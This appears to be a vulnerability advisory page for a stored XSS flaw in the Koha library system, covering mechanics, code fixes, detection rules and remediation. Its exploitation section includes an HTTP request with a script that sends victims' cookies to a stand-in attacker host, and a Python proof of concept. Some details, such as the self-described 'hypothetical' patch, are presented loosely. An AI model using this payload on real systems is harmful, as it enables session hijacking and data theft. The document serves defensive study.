CVE-2024-28740
Executive Summary
CVE-2024-28740 is a stored Cross-Site Scripting (XSS) vulnerability in the Koha Integrated Library System (ILS) version 23.05 and earlier. The flaw resides in the additonal-contents.pl component, allowing a remote, unauthenticated attacker to inject arbitrary JavaScript or HTML into the application. When a staff or patron user views the maliciously crafted content, the injected script executes in their browser context, potentially leading to session hijacking, data theft, or defacement. The vulnerability has a CVSS v3.1 base score of 6.1 (Medium), with a low attack complexity and no privileges required, but user interaction is necessary. No official patch has been released by Koha, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time. However, given the public availability of proof-of-concept details, organizations running vulnerable versions should prioritize mitigation.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Koha is an open-source ILS distributed primarily via tarballs and package repositories (e.g., Debian/Ubuntu). The vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in the core Perl-based application. Supply chain risk is moderate: if the Koha instance is not regularly updated or if custom plugins are used, the attack surface increases. Administrators should verify the integrity of their Koha installation and ensure no unauthorized modifications have been made.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Base Score: 6.1 (Medium)
- Attack Vector (AV): Network – the vulnerability is exploitable remotely.
- Attack Complexity (AC): Low – no special conditions required.
- Privileges Required (PR): None – no authentication needed to inject.
- User Interaction (UI): Required – a victim must view the crafted content.
- Scope (S): Changed – the injected script can affect resources beyond the vulnerable component.
- Confidentiality (C): Low – limited data exposure possible.
- Integrity (I): Low – limited ability to modify data.
- Availability (A): None – no direct impact on availability.
Threat Level: Medium. The requirement for user interaction reduces the immediate risk, but the lack of a patch and the public nature of the vulnerability make it a viable target for phishing or social engineering campaigns.
Deep Dive & Mechanics
The vulnerability exists in the additonal-contents.pl script, which handles the creation and display of additional content blocks (e.g., news, announcements, or custom HTML) within the Koha staff interface and OPAC. The script fails to properly sanitize user-supplied input before storing it in the database and later rendering it in a web page.
Attack Flow:
- An attacker sends a POST request to
additonal-contents.plwith a payload containing malicious JavaScript, e.g.,<script>alert('XSS')</script>. - The script stores the payload in the
additional_contentsdatabase table without encoding or validation. - When a staff member or patron navigates to a page that displays the content (e.g., the OPAC main page or staff dashboard), the payload is rendered in the browser.
- The injected script executes, allowing the attacker to steal cookies, perform actions on behalf of the victim, or redirect to a malicious site.
Root Cause: The additonal-contents.pl script uses the CGI->param() method to retrieve input and directly passes it to the database without any HTML encoding or sanitization. The output is later echoed using [% content %] in the Template Toolkit, which does not automatically escape HTML unless the html filter is explicitly applied.
Vulnerable vs. Patched Code
Vulnerable Code (Koha 23.05 and earlier):
# In additonal-contents.pl
my $content = $cgi->param('content');
# Directly stored without sanitization
$dbh->do("INSERT INTO additional_contents (content) VALUES (?)", undef, $content);
Patched Code (Hypothetical fix):
# In additonal-contents.pl
use HTML::Entities;
my $content = $cgi->param('content');
# Encode HTML entities before storage
my $encoded_content = encode_entities($content);
$dbh->do("INSERT INTO additional_contents (content) VALUES (?)", undef, $encoded_content);
Template Fix (in .tt files):
<!-- Vulnerable: -->
[% content %]
<!-- Patched: -->
[% content | html %]
Exploitation & Lab Setup
Red Team
Prerequisites:
- A Koha instance (version <= 23.05) with the
additonal-contents.plscript accessible. - Network access to the Koha web interface.
Exploit Steps:
- Identify the endpoint:
http://target/cgi-bin/koha/tools/additonal-contents.pl - Craft a POST request with a malicious payload:
POST /cgi-bin/koha/tools/additonal-contents.pl HTTP/1.1 Host: target Content-Type: application/x-www-form-urlencoded Content-Length: 50 content=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script> - Submit the request. The payload is stored.
- Lure a staff member or patron to view the page containing the injected content (e.g., the OPAC main page).
- The victim's browser executes the script, sending their cookies to the attacker's server.
Proof-of-Concept (Python):
import requests
target = "http://target/cgi-bin/koha/tools/additonal-contents.pl"
payload = "<script>alert('XSS')</script>"
data = {"content": payload}
response = requests.post(target, data=data)
print(f"Payload submitted. Status: {response.status_code}")
Blue Team
Detection:
- Monitor web server logs for POST requests to
additonal-contents.plwith suspicious parameters (e.g.,<script>,onerror,javascript:). - Use WAF rules to block common XSS patterns in the
contentparameter. - Implement Content Security Policy (CSP) headers to restrict script execution.
Hunting:
- Search the
additional_contentsdatabase table for HTML tags or JavaScript code. - Review recent changes to content blocks in the Koha staff interface.
Lab Setup:
- Deploy a vulnerable Koha instance using Docker:
docker run -d -p 8080:80 koha/koha:23.05 - Access the staff interface at
http://localhost:8080and log in with default credentials. - Navigate to Tools > Additional Contents and test the exploit.
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/cgi-bin/koha/tools/additonal-contents.plwithcontentparameter containing<script>,<img onerror=, or similar XSS patterns. - Outbound connections to unknown domains from the Koha server (potential callback).
- POST requests to
- Host IOCs:
- Entries in the
additional_contentsdatabase table containing unescaped HTML/JavaScript. - Modified Koha templates (
.ttfiles) that bypass the| htmlfilter.
- Entries in the
- File IOCs:
- Suspicious files in
/var/lib/koha/<instance>/tmp/or/usr/share/koha/opac/htdocs/containing injected scripts.
- Suspicious files in
Detection Engineering
YARA Rule
rule CVE_2024_28740_Koha_XSS {
meta:
description = "Detects XSS payloads in Koha additional_contents.pl requests"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-28740"
strings:
$xss1 = /content=<[^>]*script/i
$xss2 = /content=.*onerror\s*=/i
$xss3 = /content=.*javascript:/i
condition:
any of them
}
Sigma Rule
title: Koha Additional Contents XSS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects POST requests to additonal-contents.pl with XSS patterns
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: POST
cs-uri-query|contains: '/cgi-bin/koha/tools/additonal-contents.pl'
keywords:
- 'content=<script'
- 'content=*onerror='
- 'content=*javascript:'
condition: selection and keywords
falsepositives:
- Legitimate use of JavaScript in content (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-28740 Koha XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/cgi-bin/koha/tools/additonal-contents.pl"; http_uri; content:"content="; http_client_body; pcre:"/content=<[^>]*script/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the
additonal-contents.plscript if not required, by removing or renaming it in the Koha installation. - Apply input validation by modifying the script to use
HTML::Entities::encode_entities()on thecontentparameter. - Update templates to use the
| htmlfilter in Template Toolkit for all dynamic content.
Long-term Fix:
- Upgrade to a patched version of Koha once released (monitor the Koha community for updates).
- Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
- Conduct regular security audits of Koha instances.
Workaround:
- Restrict access to the
additonal-contents.plscript via.htaccessor firewall rules to only trusted IP addresses.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.